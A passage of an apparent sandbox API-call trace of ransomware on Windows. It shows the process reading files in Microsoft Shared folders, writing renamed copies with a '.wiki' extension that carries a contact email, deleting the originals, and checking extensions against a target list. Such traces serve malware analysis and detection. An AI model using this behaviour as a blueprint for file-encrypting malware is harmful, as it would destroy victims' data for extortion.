dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.300] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0063.300] GetLastError () returned 0x0 [0063.300] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0063.403] WriteFile (in: hFile=0x244, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0063.407] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.407] WriteFile (in: hFile=0x244, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.407] SetEndOfFile (hFile=0x244) returned 1 [0063.670] CloseHandle (hObject=0x244) returned 1 [0063.670] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.670] SetEndOfFile (hFile=0x214) returned 1 [0063.672] CloseHandle (hObject=0x214) returned 1 [0063.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.672] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString=".doc") returned 4 [0063.788] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.788] lstrlenW (lpString=".docx") returned 5 [0063.788] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.788] lstrlenW (lpString=".pdf") returned 4 [0063.788] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.788] lstrlenW (lpString=".xls") returned 4 [0063.788] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.788] lstrlenW (lpString=".xlsx") returned 5 [0063.788] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.788] lstrlenW (lpString=".ppt") returned 4 [0063.788] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString=".zip") returned 4 [0063.788] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.788] lstrlenW (lpString=".rar") returned 4 [0063.788] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.788] lstrlenW (lpString=".bz2") returned 4 [0063.788] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.788] lstrlenW (lpString=".7z") returned 3 [0063.788] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString=".dbf") returned 4 [0063.788] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString=".1cd") returned 4 [0063.788] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.788] lstrlenW (lpString=".jpg") returned 4 [0063.789] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString=".doc") returned 4 [0063.789] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.789] lstrlenW (lpString=".docx") returned 5 [0063.789] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.789] lstrlenW (lpString=".pdf") returned 4 [0063.789] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString=".xls") returned 4 [0063.789] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString=".xlsx") returned 5 [0063.789] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.789] lstrlenW (lpString=".ppt") returned 4 [0063.789] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString=".zip") returned 4 [0063.789] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString=".rar") returned 4 [0063.789] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.789] lstrlenW (lpString=".bz2") returned 4 [0063.789] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.789] lstrlenW (lpString=".7z") returned 3 [0063.789] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString=".dbf") returned 4 [0063.789] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString=".1cd") returned 4 [0063.789] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0063.789] lstrlenW (lpString=".jpg") returned 4 [0063.790] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.790] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0063.790] lstrlenW (lpString="hxds.dll") returned 8 [0063.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.853] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1257984) returned 1 [0063.853] CloseHandle (hObject=0x1a4) returned 1 [0063.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0063.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.854] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.854] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0063.854] GetLastError () returned 0x0 [0063.854] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0063.875] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0063.890] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x33210, lpOverlapped=0x0) returned 1 [0064.042] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x33220, lpOverlapped=0x0) returned 1 [0064.047] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.047] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0064.047] SetEndOfFile (hFile=0x20c) returned 1 [0064.047] CloseHandle (hObject=0x20c) returned 1 [0064.047] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.047] SetEndOfFile (hFile=0x1a4) returned 1 [0064.049] CloseHandle (hObject=0x1a4) returned 1 [0064.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.050] lstrlenW (lpString=".doc") returned 4 [0064.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString=".docx") returned 5 [0064.050] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.050] lstrlenW (lpString=".pdf") returned 4 [0064.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString=".xls") returned 4 [0064.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString=".xlsx") returned 5 [0064.050] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.050] lstrlenW (lpString=".ppt") returned 4 [0064.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.050] lstrlenW (lpString=".zip") returned 4 [0064.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString=".rar") returned 4 [0064.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.050] lstrlenW (lpString=".bz2") returned 4 [0064.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.050] lstrlenW (lpString=".7z") returned 3 [0064.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.050] lstrlenW (lpString=".dbf") returned 4 [0064.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.050] lstrlenW (lpString=".1cd") returned 4 [0064.050] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".jpg") returned 4 [0064.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".doc") returned 4 [0064.051] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".docx") returned 5 [0064.051] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.051] lstrlenW (lpString=".pdf") returned 4 [0064.051] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".xls") returned 4 [0064.051] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".xlsx") returned 5 [0064.051] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.051] lstrlenW (lpString=".ppt") returned 4 [0064.051] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".zip") returned 4 [0064.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".rar") returned 4 [0064.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.051] lstrlenW (lpString=".bz2") returned 4 [0064.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString=".7z") returned 3 [0064.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".dbf") returned 4 [0064.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".1cd") returned 4 [0064.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0064.051] lstrlenW (lpString=".jpg") returned 4 [0064.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.052] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0064.052] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0064.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.052] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=193024) returned 1 [0064.052] CloseHandle (hObject=0x1a4) returned 1 [0064.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0064.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".doc") returned 4 [0064.053] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0064.053] lstrlenW (lpString=".docx") returned 5 [0064.053] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0064.053] lstrlenW (lpString=".pdf") returned 4 [0064.053] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString=".xls") returned 4 [0064.053] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString=".xlsx") returned 5 [0064.053] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0064.053] lstrlenW (lpString=".ppt") returned 4 [0064.053] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".zip") returned 4 [0064.053] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString=".rar") returned 4 [0064.053] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString=".bz2") returned 4 [0064.053] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0064.053] lstrlenW (lpString=".7z") returned 3 [0064.053] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".dbf") returned 4 [0064.053] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".1cd") returned 4 [0064.053] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".jpg") returned 4 [0064.053] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.053] lstrlenW (lpString=".doc") returned 4 [0064.053] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0064.053] lstrlenW (lpString=".docx") returned 5 [0064.054] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0064.054] lstrlenW (lpString=".pdf") returned 4 [0064.054] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0064.054] lstrlenW (lpString=".xls") returned 4 [0064.054] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0064.054] lstrlenW (lpString=".xlsx") returned 5 [0064.054] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0064.054] lstrlenW (lpString=".ppt") returned 4 [0064.054] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0064.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.054] lstrlenW (lpString=".zip") returned 4 [0064.054] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0064.054] lstrlenW (lpString=".rar") returned 4 [0064.054] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0064.054] lstrlenW (lpString=".bz2") returned 4 [0064.054] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0064.054] lstrlenW (lpString=".7z") returned 3 [0064.054] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0064.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.054] lstrlenW (lpString=".dbf") returned 4 [0064.054] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0064.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.054] lstrlenW (lpString=".1cd") returned 4 [0064.054] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0064.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0064.054] lstrlenW (lpString=".jpg") returned 4 [0064.054] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0064.054] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.055] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.220] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3584) returned 1 [0064.220] CloseHandle (hObject=0x200) returned 1 [0064.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0064.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.220] lstrlenW (lpString=".doc") returned 4 [0064.220] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.220] lstrlenW (lpString=".docx") returned 5 [0064.220] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.220] lstrlenW (lpString=".pdf") returned 4 [0064.220] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.220] lstrlenW (lpString=".xls") returned 4 [0064.220] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.220] lstrlenW (lpString=".xlsx") returned 5 [0064.220] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.220] lstrlenW (lpString=".ppt") returned 4 [0064.220] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.220] lstrlenW (lpString=".zip") returned 4 [0064.221] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString=".rar") returned 4 [0064.221] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString=".bz2") returned 4 [0064.221] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.221] lstrlenW (lpString=".7z") returned 3 [0064.221] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString=".dbf") returned 4 [0064.221] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString=".1cd") returned 4 [0064.221] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString=".jpg") returned 4 [0064.221] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString=".doc") returned 4 [0064.221] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.221] lstrlenW (lpString=".docx") returned 5 [0064.221] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.221] lstrlenW (lpString=".pdf") returned 4 [0064.221] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString=".xls") returned 4 [0064.221] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString=".xlsx") returned 5 [0064.221] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.221] lstrlenW (lpString=".ppt") returned 4 [0064.221] 